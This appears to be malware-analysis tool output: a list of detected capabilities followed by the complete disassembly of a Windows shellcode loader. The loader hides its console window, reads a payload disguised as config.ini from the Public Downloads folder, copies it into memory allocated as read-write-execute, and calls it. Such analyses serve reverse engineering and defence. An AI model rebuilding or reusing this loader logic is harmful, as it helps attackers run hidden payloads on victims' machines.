Function at 0x100016a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
call fcn.100015e0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
push 0x40
push 0x20
push str.C:UsersPublicDownloadsconfig.ini
lea ecx, [ebp - 0xf0]
call fcn.10002620
lea ecx, [ebp - 0xf0]
call fcn.100025a0
movzx eax, al
test eax, eax
jne 0x10001720
push 0x10003870
push 0x10006304
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push ecx
call fcn.10003590
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov dword [ebp - 0xc], 0xffffffff
lea ecx, [ebp - 0xf0]
call fcn.10001850
mov eax, dword [ebp - 0xc]
jmp 0x10001847
push 2
push 0
push 0
lea ecx, [ebp - 0xf0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea edx, [ebp - 0x38]
push edx
lea ecx, [ebp - 0xf0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
lea ecx, [ebp - 0xf0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea ecx, [ebp - 5]
call fcn.10002790
push eax
lea ecx, [ebp - 0x38]
call fcn.10001900
push eax
lea ecx, [ebp - 0x20]
call fcn.100018d0
lea ecx, [ebp - 0x38]
call fcn.10001900
push edx
push eax
lea ecx, [ebp - 0x20]
call fcn.10001890
push eax
lea ecx, [ebp - 0xf0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xf0]
call fcn.10002560
push 0x40
push 0x1000
lea ecx, [ebp - 0x38]
call fcn.10001900
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100017f8
push 0x10003870
push 0x1000631c
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
call fcn.10003590
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov dword [ebp - 0x10], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.100018b0
lea ecx, [ebp - 0xf0]
call fcn.10001850
mov eax, dword [ebp - 0x10]
jmp 0x10001847
lea ecx, [ebp - 0x38]
call fcn.10001900
push eax
lea ecx, [ebp - 0x20]
call fcn.10001890
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call dword [ebp - 4]
push 0x8000
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x20]
call fcn.100018b0
lea ecx, [ebp - 0xf0]
call fcn.10001850
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret